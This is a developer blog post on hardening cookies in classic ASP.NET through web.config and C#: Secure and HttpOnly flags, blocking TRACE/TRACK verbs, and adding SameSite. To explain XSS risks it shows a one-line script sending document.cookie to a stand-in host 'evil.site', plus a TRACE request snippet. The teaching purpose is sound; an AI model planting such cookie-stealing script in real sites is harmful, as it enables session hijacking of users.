The ultimate guide to secure cookies with web.config in .NET
Tags: dotnet, csharp, aspnet, security
Published: 2021-05-05 07:24:32

---
title: The ultimate guide to secure cookies with web.config in .NET
published: true
description: How to secure your cookies in ASP.NET and MVC, using Secure and HttpOnly attributes. Also learn about Cross-site tracing and Cross-site request forgery.
tags: dotnet, csharp, aspnet, security
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qvs3oroak2fkpzcxegw4.png
canonical_url: https://blog.elmah.io/the-ultimate-guide-to-secure-cookies-with-web-config-in-net/
---

This is the fourth post in a series about ASP.NET security. Check out [Improving security in ASP.NET MVC using custom headers, Content-Security-Policy in ASP.NET MVC](https://blog.elmah.io/improving-security-in-asp-net-mvc-using-custom-headers/), and [Storing Content-Security-Policy reports in elmah.io](https://blog.elmah.io/storing-content-security-policy-reports-in-elmah-io/) for more security-related posts.

You've already heard about cross-site scripting (XSS), right? XSS is a situation where a hacker can inject malicious scripts into your website. This is not a blog post about XSS, but multiple bad things can happen if anyone succeeds in injecting code into your site. The one I want to present to you today is to take advantage of the cookies used by your site.

The easiest way to understand the problems with XSS and cookies is by example. Most authentication systems for ASP.NET and Core use an authentication cookie for your application to tell the web server the client is successfully signed in. You have probably already seen a cookie named `.ASPXAUTH` in your browser. This is a cookie returned by Forms Authentication once the user is signed in. The value of the cookie contains an encrypted string that can be used to authenticate the user on subsequent requests. If a hacker somehow gets the value of the `.ASPXAUTH` cookie, he/she would now be able to hijack that session. Danger Will Robinson!

## Mark cookies as `Secure`

So, how do we make sure that no-one but our website gets access to that cookie? The first step is to make sure the website is running HTTPS. Here, I'm not talking about adding HTTPS as an alternative to HTTP. HTTPS exclusively is the only way to roll. By running HTTPS only, no-one can inspect the traffic between the browser and the webserver using a man-in-the-middle attack or something similar. When you switch to HTTPS, you will need to tell it that cookies should be available over HTTPS only. To do so globally, you can include the following in `Web.config`:

```xml
<system.web>
    ...
    <httpCookies requireSSL="true" />
</system.web>
```

If you are creating cookies manually, you can mark them secure in C# too:

```csharp
Response.Cookies.Add(
    new HttpCookie("key", "value")
    {
        Secure = true,
    });
```

That's it! Cookies are now only sent over HTTPS, making it impossible to intercept any cookies accidentally sent over HTTP (you still want to eliminate those calls if any).

## Mark cookies as `HttpOnly`

Are we safe yet? Not really since hackers may have had luck injecting code into your website. JavaScript has access to cookies as a default, making it possible to write something like this:

```javascript
console.log(document.cookie);
```

Logging cookies into the console probably isn't a problem, but consider someone having luck sneaking in the following script onto your page:

```javascript
window.location="http://evil.site/store?cookies="+document.cookie;
```

That's right! All cookies, including the authentication cookie, were just stored by the hacker's website (`evil.site` was the most hacker-sounding domain I could come up with).

Since a lot of cookies never need to be accessible from JavaScript, there's a simple fix. Marking cookies as `HttpOnly`. As the name suggests, HTTP only cookies can only be accessed by the server during an HTTP (S!) request. The authentication cookie is only there to be sent back and forth between the client and server and a perfect example of a cookie that should always be marked as `HttpOnly`.

Here's how to do that in `Web.config` (extending on the code from before):

```xml
<system.web>
    ...
    <httpCookies httpOnlyCookies="true" requireSSL="true" />
</system.web>
```

The value of the `httpOnlyCookies` attribute is `true` in this case. Like in the previous example, `HttpOnly` can also be set from C# code:

```csharp
Response.Cookies.Add(
    new HttpCookie("key", "value")
    {
        HttpOnly = true,
        Secure = true,
    });
```

Here, I've set the `HttpOnly` property to `true`.

## Avoid TRACE requests (Cross-Site Tracing)

Marking cookies as `Secure` and `HttpOnly` isn't always enough. There's a technique called Cross-Site Tracing (XST) where a hacker uses the request methods `TRACE` or `TRACK` to bypass cookies marked as `HttpOnly`. The `TRACE` method is originally intended to help debugging, by letting the client know how a server sees a request. This debugging info is printed to the response, making it readable from the client.

If a hacker has successfully injected code onto your page, he/she could run the following script:

```javascript
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'https://my.domain/', false);
xhr.send(null);
console.log(xhr.responseText);
```

If the receiving webserver supports `TRACE` requests, the request including server variables, cookies, etc., is now written to the console. This would reveal the authentication cookie, even if it is marked as `Secure` and `HttpOnly`.

Luckily, modern browsers won't let anyone make `TRACE` requests from JavaScript. You still want to eliminate the possibility, by updating your `Web.config` accordingly:

```xml
<system.webServer>
  <security>
    <requestFiltering>
      <verbs>
        <add verb="TRACE" allowed="false" />
        <add verb="TRACK" allowed="false" />
      </verbs>
    </requestFiltering>
  </security>
</system.webServer>
```

The `verbs` element includes a list of HTTP verbs not allowed.

## SameSite to avoid cross-site request forgery

We're almost there. A single issue is missing, though. All that work to prevent anyone from intercepting the traffic between your client and server and yet there is another problem. You may have heard about something called Cross-Site Request Forgery (CSRF). CSRF is the practice of cheating the user into requesting a website where he/she is already logged in. This can be in the form of hidden forms, image elements, and more.

None of the changes above guards against CSRF. Both ASP.NET and ASP.NET Core supports generating tokens for the server to validate each request. Here you let your server generate a unique token and update all of your forms to include this token. When posting data back to the server, ASP.NET (Core) validates the token and throws an error if invalid.

`SameSite` is a cookie attribute that tells if your cookies are restricted to first-party requests only. It may sound a bit strange, so let's look at an example. If a page on domain `domain1.com` requests a URL on `domain1.com` and the cookies are decorated with the `SameSite` attribute, cookies are sent between the client and server. If `domain2.com` requests `domain1.com` and the cookies of the website on `domain1.com` are decorated with the `SameSite` attribute, cookies are not exchanged.

.NET 4.7.2 and .NET Core 3.1 both supports the `SameSite` attribute. But the easiest implementation (IMO) is by including a rewrite rule in `Web.config`:

```xml
<system.webServer>
  <rewrite>
    <outboundRules>
      <clear />
      <rule name="Add SameSite" preCondition="No SameSite">
        <match serverVariable="RESPONSE_Set_Cookie" pattern=".*" negate="false" />
        <action type="Rewrite" value="{R:0}; SameSite=lax" />
      </rule>
      <preConditions>
        <preCondition name="No SameSite">
          <add input="{RESPONSE_Set_Cookie}" pattern="." />
          <add input="{RESPONSE_Set_Cookie}" pattern="; SameSite=lax" negate="true" />
        </preCondition>
      </preConditions>
    </outboundRules>
  </rewrite>
  ...
</system.webServer>
```

The rule automatically appends `SameSite=lax` to all cookies. `lax` means send the cookie on first-party requests or top-level navigation (URL in the browser changes). Another possible value is `strict` where a cookie is only sent on first-party requests. In this case, a domain linking to your site will cause IIS not to send the cookie.

We are finally there. You have now done everything in your power to secure your cookies. All of the examples in this post are for classic ASP.NET, MVC, Web API. Similar examples can be created for ASP.NET Core. If enough people are interested, I'll write another post for Core as well 👍

## Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ [Error Monitoring for .NET Web Applications](https://elmah.io/?utm_source=devto&utm_medium=social&utm_campaign=devtoposts) ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/the-ultimate-guide-to-secure-cookies-with-web-config-in-net/